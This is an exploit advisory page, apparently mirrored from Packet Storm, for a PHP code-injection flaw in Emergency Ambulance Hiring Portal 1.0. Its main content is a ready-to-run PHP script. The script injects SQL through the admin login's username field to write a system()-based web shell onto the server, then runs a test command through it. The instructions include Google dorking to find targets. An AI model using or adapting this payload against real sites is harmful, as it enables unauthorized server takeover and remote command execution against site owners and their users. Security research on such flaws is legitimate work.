Lucene search
K

Emergency Ambulance Hiring Portal 1.0 PHP Code Injection

🗓️ 12 Sep 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 289 Views

Emergency Ambulance Hiring Portal 1.0 PHP Code Injection Vulnerability by indoushka on Windows 10 Fr(Pro) Mozilla firefox 130.0.

Code
`=============================================================================================================================================  
| # Title : Emergency Ambulance Hiring Portal 1.0 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/ |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This payload inject php code contains a back door.  
  
[+] Line 16 + 19 Set your Target.  
  
[+] save payload as poc.php  
  
[+] usage from cmd : C:\www\test>php 1.php  
  
[+] payload :  
  
  
<?php  
// المكتبات المطلوبة  
function send_request($url, $data) {  
$options = [  
'http' => [  
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",  
'method' => 'POST',  
'content' => http_build_query($data),  
]  
];  
$context = stream_context_create($options);  
return file_get_contents($url, false, $context);  
}  
  
// تحديد URL ثابت  
$url = 'http://localhost/eahp/';  
  
// مسار ثابت لرفع الملف  
$path = 'C:\www\eahp\uploaded.php';  
$path = str_replace("\\", "\\\\", $path);  
  
// حمولة الباب الخلفي  
$backdoor_payload = '<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>';  
  
// إرسال ملف PHP يحتوي على الباب الخلفي  
$payload = [  
'username' => "admin' union select '" . addslashes($backdoor_payload) . "' into outfile '" . $path . "' -- 'a",  
'password' => 'test',  
'login' => ''  
];  
send_request($url . "/admin/login.php", $payload);  
  
echo "[+] PHP backdoor uploaded successfully at $path\n";  
  
// تنفيذ ملف PHP المرفوع واختبار الباب الخلفي  
$response = file_get_contents($url . "uploaded.php?cmd=whoami");  
echo "[+] Response from the backdoor (executing 'whoami'): \n$response\n";  
?>  
  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation